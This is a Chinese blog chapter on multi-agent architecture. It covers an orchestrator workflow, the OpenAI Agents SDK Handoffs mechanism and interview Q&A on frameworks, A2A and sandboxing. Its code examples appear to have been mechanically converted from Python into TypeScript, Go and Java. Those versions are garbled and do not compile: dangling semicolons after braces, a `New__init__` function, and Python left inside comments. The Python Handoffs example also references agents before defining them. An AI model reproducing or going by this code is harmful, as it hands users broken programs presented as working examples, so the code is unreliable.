            "detail": detail, "timestamp": "2025-07-01T..."
        })
// 生产级多 Agent 工作流编排
// Node.js built-in or npm package for: asyncio
import {dataclass} from 'dataclasses';
// TypeScript has built-in types, no import needed for Optional

  // @dataclass
class AgentResult {
  // agent_name: str
  // status: str        # completed / failed / degraded
  // content: dict
  // tokens_used: int
  // execution_time_ms: int

class ProductionOrchestrator {
  /** docstring */

  constructor(budget_limit_tokens=10000) {
  // self.budget_limit = budget_limit_tokens
  // self.total_tokens = 0
  // self.trace_log = []

  // async def run_workflow(self, user_request: str, max_revisions: int = 2) -> dict:
  /** docstring */
// Step 1: 编排者拆分任务
  // self._log("orchestrator", "task_split", user_request)
  // subtasks = self._split_task(user_request)

// Step 2: 并行执行调研和分析
  // results = await asyncio.gather(
  // self._call_agent("research_agent", subtasks["research"]),
  // self._call_agent("analysis_agent", subtasks["analysis"]),
  // return_exceptions = True  # 容错:不因一个失败而中断
  // )

// Step 3: 处理结果(容错降级)
  // research_result = self._handle_result(results[0], "research")
  // analysis_result = self._handle_result(results[1], "analysis")

// Step 4: 检查预算
  if (self.total_tokens > self.budget_limit) {
  // self._log("orchestrator", "budget_exceeded",
  // f"已用 {self.total_tokens} tokens")
  return {"status": "budget_exceeded",;
  // "partial_results": [research_result, analysis_result]}

// Step 5: 合并后调用写作 Agent
  // merged_input = self._merge_results(research_result, analysis_result)
  // writer_result = await self._call_agent("writer_agent", merged_input)

// Step 6: 审核 Agent 检查质量
  // review_result = await self._call_agent("review_agent", {
  // "draft": writer_result.content,
  // "criteria": "完整性、准确性、可读性"
  // })

  if (review_result.content.get("approved")) {
  return {"status": "completed",;
  // "report": writer_result.content,
  // "trace": self.trace_log}
  } else {
// 审核未通过 → 修改后重新提交写作(限制修改次数,防止无限递归)
  // self._log("review_agent", "revision_needed",
  // review_result.content.get("issues"))
  if (max_revisions > 0) {
  return await self.run_workflow(user_request, max_revisions - 1);
  } else {
  return {"status": "completed_with_issues",;
  // "report": writer_result.content,
  // "trace": self.trace_log,
  // "note": "达到最大修改次数,返回当前版本"}

  // def _split_task(self, request: str) -> dict:
  /** docstring */
  return {;
  // "research": f"搜索以下主题的最新资料: {request}",
  // "analysis": f"对已有数据进行统计分析: {request}"
  // }

  // def _handle_result(self, result, agent_name: str) -> AgentResult:
  /** docstring */
  if (isinstance(result, Exception)) {
  // self._log(agent_name, "failed", str(result))
  return AgentResult(agent_name, "degraded",;
  // {"note": "降级处理,使用缓存数据"}, 0, 0)
  // self.total_tokens += result.tokens_used
  return result;

  _log(agent: string, event: string, detail: string) {
  /** docstring */
  // self.trace_log.append({
  // "agent": agent, "event": event,
  // "detail": detail, "timestamp": "2025-07-01T..."
  // })
}
package main

import (
	"fmt"
	"os"
	"os/exec"
	"strings"
)

// 生产级多 Agent 工作流编排
// import asyncio
// from dataclasses import dataclass
// from typing import Optional

// AgentResult - CLI Agent class
type AgentResult struct {
	// Python: agent_name: str
	// Python: status: str        # completed / failed / degraded
	// Python: content: dict
	// Python: tokens_used: int
	// Python: execution_time_ms: int

// ProductionOrchestrator - CLI Agent class
type ProductionOrchestrator struct {

func New__init__() *__init__ {
	return &__init__{}
}
	// Python: self.budget_limit = budget_limit_tokens
	// Python: self.total_tokens = 0
	// Python: self.trace_log = []

	// Python: async def run_workflow(self, user_request: str, max_revisions: int = 2) -> dict:
// Step 1: 编排者拆分任务
	// Python: self._log("orchestrator", "task_split", user_request)
	// Python: subtasks = self._split_task(user_request)

// Step 2: 并行执行调研和分析
	// Python: results = await asyncio.gather(
	// Python: self._call_agent("research_agent", subtasks["research"]),
	// Python: self._call_agent("analysis_agent", subtasks["analysis"]),
	// Python: return_exceptions=True  # 容错:不因一个失败而中断
	// Python: )

// Step 3: 处理结果(容错降级)
	// Python: research_result = self._handle_result(results[0], "research")
	// Python: analysis_result = self._handle_result(results[1], "analysis")

// Step 4: 检查预算
	if self.total_tokens > self.budget_limit {
	// Python: self._log("orchestrator", "budget_exceeded",
	// Python: f"已用 {self.total_tokens} tokens")
	return {"status": "budget_exceeded",
	// Python: "partial_results": [research_result, analysis_result]}

// Step 5: 合并后调用写作 Agent
	// Python: merged_input = self._merge_results(research_result, analysis_result)
	// Python: writer_result = await self._call_agent("writer_agent", merged_input)

// Step 6: 审核 Agent 检查质量
	// Python: review_result = await self._call_agent("review_agent", {
	// Python: "draft": writer_result.content,
	// Python: "criteria": "完整性、准确性、可读性"
	// Python: })

	if review_result.content.get("approved") {
	return {"status": "completed",
	// Python: "report": writer_result.content,
	// Python: "trace": self.trace_log}
	} else {
// 审核未通过 → 修改后重新提交写作(限制修改次数,防止无限递归)
	// Python: self._log("review_agent", "revision_needed",
	// Python: review_result.content.get("issues"))
	if max_revisions > 0 {
	return await self.run_workflow(user_request, max_revisions - 1)
	} else {
	return {"status": "completed_with_issues",
	// Python: "report": writer_result.content,
	// Python: "trace": self.trace_log,
	// Python: "note": "达到最大修改次数,返回当前版本"}

	// Python: def _split_task(self, request: str) -> dict:
	return {
	// Python: "research": f"搜索以下主题的最新资料: {request}",
	// Python: "analysis": f"对已有数据进行统计分析: {request}"
	// Python: }

	// Python: def _handle_result(self, result, agent_name: str) -> AgentResult:
	if isinstance(result, Exception) {
	// Python: self._log(agent_name, "failed", str(result))
	return AgentResult(agent_name, "degraded",
	// Python: {"note": "降级处理,使用缓存数据"}, 0, 0)
	// Python: self.total_tokens += result.tokens_used
	return result

func _log() {
	// Python: self.trace_log.append({
	// Python: "agent": agent, "event": event,
	// Python: "detail": detail, "timestamp": "2025-07-01T..."
	// Python: })
}
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
import java.io.*;

    // 生产级多 Agent 工作流编排
    // import asyncio
    // from dataclasses import dataclass
    // from typing import Optional

public class AgentResult {
        // Python: agent_name: str
        // Python: status: str        # completed / failed / degraded
        // Python: content: dict
        // Python: tokens_used: int
        // Python: execution_time_ms: int

public class ProductionOrchestrator {

    public ProductionOrchestrator(budget_limit_tokens=10000) {
        // Python: self.budget_limit = budget_limit_tokens
        // Python: self.total_tokens = 0
        // Python: self.trace_log = []

        // Python: async def run_workflow(self, user_request: str, max_revisions: int = 2) -> dict:
    // Step 1: 编排者拆分任务
        // Python: self._log("orchestrator", "task_split", user_request)
        // Python: subtasks = self._split_task(user_request)

    // Step 2: 并行执行调研和分析
        // Python: results = await asyncio.gather(
        // Python: self._call_agent("research_agent", subtasks["research"]),
        // Python: self._call_agent("analysis_agent", subtasks["analysis"]),
        // Python: return_exceptions=True  # 容错:不因一个失败而中断
        // Python: )

    // Step 3: 处理结果(容错降级)
        // Python: research_result = self._handle_result(results[0], "research")
        // Python: analysis_result = self._handle_result(results[1], "analysis")

    // Step 4: 检查预算
        if (self.total_tokens > self.budget_limit) {
        // Python: self._log("orchestrator", "budget_exceeded",
        // Python: f"已用 {self.total_tokens} tokens")
        return {"status": "budget_exceeded",;
        // Python: "partial_results": [research_result, analysis_result]}

    // Step 5: 合并后调用写作 Agent
        // Python: merged_input = self._merge_results(research_result, analysis_result)
        // Python: writer_result = await self._call_agent("writer_agent", merged_input)

    // Step 6: 审核 Agent 检查质量
        // Python: review_result = await self._call_agent("review_agent", {
        // Python: "draft": writer_result.content,
        // Python: "criteria": "完整性、准确性、可读性"
        // Python: })

        if (review_result.content.get("approved")) {
        return {"status": "completed",;
        // Python: "report": writer_result.content,
        // Python: "trace": self.trace_log}
        } else {
    // 审核未通过 → 修改后重新提交写作(限制修改次数,防止无限递归)
        // Python: self._log("review_agent", "revision_needed",
        // Python: review_result.content.get("issues"))
        if (max_revisions > 0) {
        return await self.run_workflow(user_request, max_revisions - 1);
        } else {
        return {"status": "completed_with_issues",;
        // Python: "report": writer_result.content,
        // Python: "trace": self.trace_log,
        // Python: "note": "达到最大修改次数,返回当前版本"}

        // Python: def _split_task(self, request: str) -> dict:
        return {;
        // Python: "research": f"搜索以下主题的最新资料: {request}",
        // Python: "analysis": f"对已有数据进行统计分析: {request}"
        // Python: }

        // Python: def _handle_result(self, result, agent_name: str) -> AgentResult:
        if (isinstance(result, Exception)) {
        // Python: self._log(agent_name, "failed", str(result))
        return AgentResult(agent_name, "degraded",;
        // Python: {"note": "降级处理,使用缓存数据"}, 0, 0)
        // Python: self.total_tokens += result.tokens_used
        return result;

    public static void _log(agentString, eventString, detailString) {
        // Python: self.trace_log.append({
        // Python: "agent": agent, "event": event,
        // Python: "detail": detail, "timestamp": "2025-07-01T..."
        // Python: })
    }
}

14.9 Handoffs机制详解

**Handoffs(任务移交)**是 OpenAI Agents SDK 中引入的核心机制,用于实现 Agent 之间的任务转移。它与编排者-执行者模式密切相关,但更轻量、更灵活。

Handoffs 就像接力赛中的交接棒——一个 Agent 完成了自己的部分,把"棒"(任务上下文)交给下一个 Agent 继续跑。

什么是 Handoffs?

在 Handoffs 机制中,每个 Agent 定义了自己可以移交的 Agent 列表。当一个 Agent 在处理任务时,判断当前任务更适合另一个 Agent 处理,它就会调用 transfer_to_xxx 工具,把任务连同上下文一起移交给目标 Agent。

Handoffs 流程

  • Agent A 处理任务,判断需要移交
  • Agent A 调用 transfer_to_B 工具
  • 任务上下文(对话历史+状态)传给 Agent B
  • Agent B 从 Agent A 的结果继续处理
  • Agent B 完成后直接返回用户

与编排者-执行者的区别

  • 编排者模式:中央控制,所有分配由编排者决定
  • Handoffs:去中心化,Agent 自己判断何时移交
  • 编排者更像"项目经理",Handoffs更像"接力赛"
  • Handoffs 更灵活但可控性略弱
  • 两者可以结合:编排者做初始分配,Agent内用Handoffs

Handoffs 流程图

Handoffs 代码示例

# OpenAI Agents SDK — Handoffs 机制
from agents import Agent, Runner

# 定义三个 Agent,各自声明可移交的目标
triage_agent = Agent(
    name="分流Agent",
    instructions="""你是用户请求的分流员。
    根据用户请求判断最适合处理的 Agent:
- 贡献分析请求 → transfer_to_finance_agent
- 市场趋势请求 → transfer_to_market_agent
- 综合请求 → transfer_to_summary_agent
    """,
    handoffs=[finance_agent, market_agent]  # 可移交的Agent列表
)

finance_agent = Agent(
    name="财务分析Agent",
    instructions="""你是专业的财务分析师。
    分析财报数据、计算关键指标、评估财务健康状况。
    完成分析后,将结果移交给总结Agent生成报告。
    """,
    handoffs=[summary_agent]  # 完成后移交总结Agent
)

market_agent = Agent(
    name="市场分析Agent",
    instructions="""你是专业的市场分析师。
    分析市场趋势、竞争格局、行业动态。
    完成分析后,将结果移交给总结Agent生成报告。
    """,
    handoffs=[summary_agent]  # 完成后移交总结Agent
)

summary_agent = Agent(
    name="总结Agent",
    instructions="""你是报告总结专家。
    整合其他Agent的分析结果,生成一份完整的分析报告。
    """,
    handoffs=[]  # 终点Agent,不再移交
)

# 运行多Agent协作
result = await Runner.run(
    starting_agent=triage_agent,  # 从分流Agent开始
    messages=[{"role": "user",
               "content": "帮我分析苹果公司2025年Q1财报"}]
)

# Runner 自动处理 Handoffs:
# triage → finance → summary → 返回结果
print(result.final_output)
// OpenAI Agents SDK — Handoffs 机制
import {Agent, Runner} from 'agents';

// 定义三个 Agent,各自声明可移交的目标
  const triage_agent = Agent(;
  const name = "分流Agent",;
  const instructions = """你是用户请求的分流员。;
  // 根据用户请求判断最适合处理的 Agent:
  // - 贡献分析请求 → transfer_to_finance_agent
  // - 市场趋势请求 → transfer_to_market_agent
  // - 综合请求 → transfer_to_summary_agent
  /** docstring */
  const handoffs = [finance_agent, market_agent]  # 可移交的Agent列表;
  // )

  const finance_agent = Agent(;
  const name = "财务分析Agent",;
  const instructions = """你是专业的财务分析师。;
  // 分析财报数据、计算关键指标、评估财务健康状况。
  // 完成分析后,将结果移交给总结Agent生成报告。
  /** docstring */
  const handoffs = [summary_agent]  # 完成后移交总结Agent;
  // )

  const market_agent = Agent(;
  const name = "市场分析Agent",;
  const instructions = """你是专业的市场分析师。;
  // 分析市场趋势、竞争格局、行业动态。
  // 完成分析后,将结果移交给总结Agent生成报告。
  /** docstring */
  const handoffs = [summary_agent]  # 完成后移交总结Agent;
  // )

  const summary_agent = Agent(;
  const name = "总结Agent",;
  const instructions = """你是报告总结专家。;
  // 整合其他Agent的分析结果,生成一份完整的分析报告。
  /** docstring */
  const handoffs = []  # 终点Agent,不再移交;
  // )

// 运行多Agent协作
  const result = await Runner.run(;
  const starting_agent = triage_agent,  # 从分流Agent开始;
  const messages = [{"role": "user",;
  // "content": "帮我分析苹果公司2025年Q1财报"}]
  // )

// Runner 自动处理 Handoffs:
// triage → finance → summary → 返回结果
  console.log(result.final_output);
package main

import (
	"fmt"
	"os"
	"os/exec"
	"strings"
)

// OpenAI Agents SDK — Handoffs 机制
// from agents import Agent, Runner

// 定义三个 Agent,各自声明可移交的目标
	// Python: triage_agent = Agent(
	// Python: name="分流Agent",
	// Python: instructions="""你是用户请求的分流员。
	// Python: 根据用户请求判断最适合处理的 Agent:
	// Python: - 贡献分析请求 → transfer_to_finance_agent
	// Python: - 市场趋势请求 → transfer_to_market_agent
	// Python: - 综合请求 → transfer_to_summary_agent
	// Python: handoffs=[finance_agent, market_agent]  # 可移交的Agent列表
	// Python: )

	// Python: finance_agent = Agent(
	// Python: name="财务分析Agent",
	// Python: instructions="""你是专业的财务分析师。
	// Python: 分析财报数据、计算关键指标、评估财务健康状况。
	// Python: 完成分析后,将结果移交给总结Agent生成报告。
	// Python: handoffs=[summary_agent]  # 完成后移交总结Agent
	// Python: )

	// Python: market_agent = Agent(
	// Python: name="市场分析Agent",
	// Python: instructions="""你是专业的市场分析师。
	// Python: 分析市场趋势、竞争格局、行业动态。
	// Python: 完成分析后,将结果移交给总结Agent生成报告。
	// Python: handoffs=[summary_agent]  # 完成后移交总结Agent
	// Python: )

	// Python: summary_agent = Agent(
	// Python: name="总结Agent",
	// Python: instructions="""你是报告总结专家。
	// Python: 整合其他Agent的分析结果,生成一份完整的分析报告。
	// Python: handoffs=[]  # 终点Agent,不再移交
	// Python: )

// 运行多Agent协作
	// Python: result = await Runner.run(
	// Python: starting_agent=triage_agent,  # 从分流Agent开始
	// Python: messages=[{"role": "user",
	// Python: "content": "帮我分析苹果公司2025年Q1财报"}]
	// Python: )

// Runner 自动处理 Handoffs:
// triage → finance → summary → 返回结果
	fmt.Println(result.final_output)
import java.util.*;
import java.util.concurrent.*;
import java.util.regex.*;
import java.io.*;

    // OpenAI Agents SDK — Handoffs 机制
    // from agents import Agent, Runner

    // 定义三个 Agent,各自声明可移交的目标
        // Python: triage_agent = Agent(
        // Python: name="分流Agent",
        // Python: instructions="""你是用户请求的分流员。
        // Python: 根据用户请求判断最适合处理的 Agent:
        // Python: - 贡献分析请求 → transfer_to_finance_agent
        // Python: - 市场趋势请求 → transfer_to_market_agent
        // Python: - 综合请求 → transfer_to_summary_agent
        // Python: handoffs=[finance_agent, market_agent]  # 可移交的Agent列表
        // Python: )

        // Python: finance_agent = Agent(
        // Python: name="财务分析Agent",
        // Python: instructions="""你是专业的财务分析师。
        // Python: 分析财报数据、计算关键指标、评估财务健康状况。
        // Python: 完成分析后,将结果移交给总结Agent生成报告。
        // Python: handoffs=[summary_agent]  # 完成后移交总结Agent
        // Python: )

        // Python: market_agent = Agent(
        // Python: name="市场分析Agent",
        // Python: instructions="""你是专业的市场分析师。
        // Python: 分析市场趋势、竞争格局、行业动态。
        // Python: 完成分析后,将结果移交给总结Agent生成报告。
        // Python: handoffs=[summary_agent]  # 完成后移交总结Agent
        // Python: )

        // Python: summary_agent = Agent(
        // Python: name="总结Agent",
        // Python: instructions="""你是报告总结专家。
        // Python: 整合其他Agent的分析结果,生成一份完整的分析报告。
        // Python: handoffs=[]  # 终点Agent,不再移交
        // Python: )

    // 运行多Agent协作
        // Python: result = await Runner.run(
        // Python: starting_agent=triage_agent,  # 从分流Agent开始
        // Python: messages=[{"role": "user",
        // Python: "content": "帮我分析苹果公司2025年Q1财报"}]
        // Python: )

    // Runner 自动处理 Handoffs:
    // triage → finance → summary → 返回结果
        System.out.println(result.final_output);
}

Handoffs 关键设计点:

① 每个 Agent 的 handoffs 列表限定了它可以移交的范围,防止无限循环移交

② 移交时,完整对话历史会传递给下一个 Agent,确保上下文连续

③ 移交是 Agent 的自主决策(通过 LLM 判断),而非硬编码规则

④ Runner 跟踪整个移交链路,可记录和回溯每一步决策 📋 八股总结 — 面试高频考点

Q1: 为什么需要多 Agent?单 Agent 有什么瓶颈?

单 Agent 瓶颈:① Prompt 膨胀(所有工具和规则塞一个 prompt);② 角色混乱(又要搜索又要分析又要写作);③ 错误传播(一步错步步错);④ 上下文爆炸(token 线性增长);⑤ 无法并行。

多 Agent 优势:职责分离、Prompt 精简、互相纠错、并行执行、可扩展。类比:单 Agent 是全栈工程师,多 Agent 是专业团队。

Q2: 多 Agent 的四种经典协作模式是什么?

① 串行流水线:搜索→分析→写作,每个 Agent 处理一个阶段,简单可靠但无法并行。

② 编排者-执行者:编排者分配任务,执行者并行完成后汇报。最常用。

③ 辩论对抗:多个 Agent 对抗辩论,裁判总结。适合多角度分析。

④ 自主协作:Agent 之间自由通信协商。最灵活但最难控制。

Q3: 编排者-执行者模式中,编排者的核心职责是什么?

四个核心职责:

① 分析任务:理解用户需求,判断需要哪些专业 Agent

② 分配任务:将子任务分配给合适的 Worker Agent

③ 整合结果:收集各 Agent 输出,整合成完整答案

④ 质量控制:检查结果完整性和正确性,必要时重新分配

Q4: Agent 之间的三种通信机制?各自代表框架?

① 消息传递:Agent 通过消息队列通信(AutoGen)。灵活但可能死锁。

② 共享黑板:共享一块"黑板"读写(CrewAI)。简单但有并发冲突。

③ 图结构:定义节点和边的 DAG(LangGraph)。可控但不够灵活。

Q5: LangGraph、AutoGen、CrewAI 各有什么特点?怎么选?

LangGraph:图结构,可控性强、可可视化调试。适合需要精确控制流程的场景。

AutoGen:消息传递,支持 Agent 自由对话。适合探索性、灵活协作的场景。

CrewAI:角色扮演,定义角色和任务。易上手,适合标准化的团队协作场景。

选择:要可控选 LangGraph,要灵活选 AutoGen,要简单选 CrewAI。

Q6: A2A协议的核心机制是什么?与MCP有什么区别?

A2A四大核心机制:

① Agent Card:能力发现,Agent发布JSON元数据文件描述自身能力

② Task生命周期:创建→运行→完成/失败/拒绝,状态实时同步

③ 消息协作:Agent间结构化消息传递,支持多轮交互

④ 安全认证:OAuth2.0身份验证和权限校验

与MCP的区别:MCP管Agent↔工具(单向调用),A2A管Agent↔Agent(双向协作)。两者互补而非竞争。

Q7: 沙箱隔离有哪些主流方案?选型依据是什么?

四大沙箱方案:

① Docker Sandbox:微虚拟机,独立内核,隔离级别最高,适合高安全代码执行

② bubblewrap:Linux namespace隔离,轻量快速,适合Linux环境

③ seatbelt:macOS系统级沙箱,精确权限控制,适合macOS环境

④ E2B/PPIO:云端微虚拟机,硬件级隔离,按使用计费

选型依据:安全要求高→Docker/E2B;轻量快速→bubblewrap/seatbelt;最小权限原则是核心。

Q8: 多Agent生产实践中有哪些关键要点?

四大工程要点:

① 通信数据格式标准化:task_id + from/to_agent + content + status + timestamp

② 错误处理与重试:指数退避重试、降级策略、级联阻断

③ 监控与可观测性:日志(结构化记录)、指标(Token/时间/成功率)、追踪(分布式链路)

④ 成本控制:按需分配、精简Prompt、结果压缩、分级模型、预算上限

Q9: Handoffs机制是什么?与编排者模式有什么关系?

Handoffs是OpenAI Agents SDK中的任务移交机制:

核心思想:Agent自主判断何时移交任务,调用transfer_to_xxx工具将任务连同上下文交给下一个Agent

与编排者模式的区别:编排者是中央控制(项目经理),Handoffs是去中心化(接力赛)

关键设计:handoffs列表限定移交范围防循环、完整对话历史确保上下文连续、移交是LLM自主决策

两者可结合:编排者做初始分配,Agent内部用Handoffs灵活流转

第14章 多Agent系统架构
http://www.clxhxhhr.top/posts/717/
作者
clxstart
发布于
2026-09-18
许可协议
CC BY-NC-SA 4.0
评论
0 条
还没有评论,先写一条吧。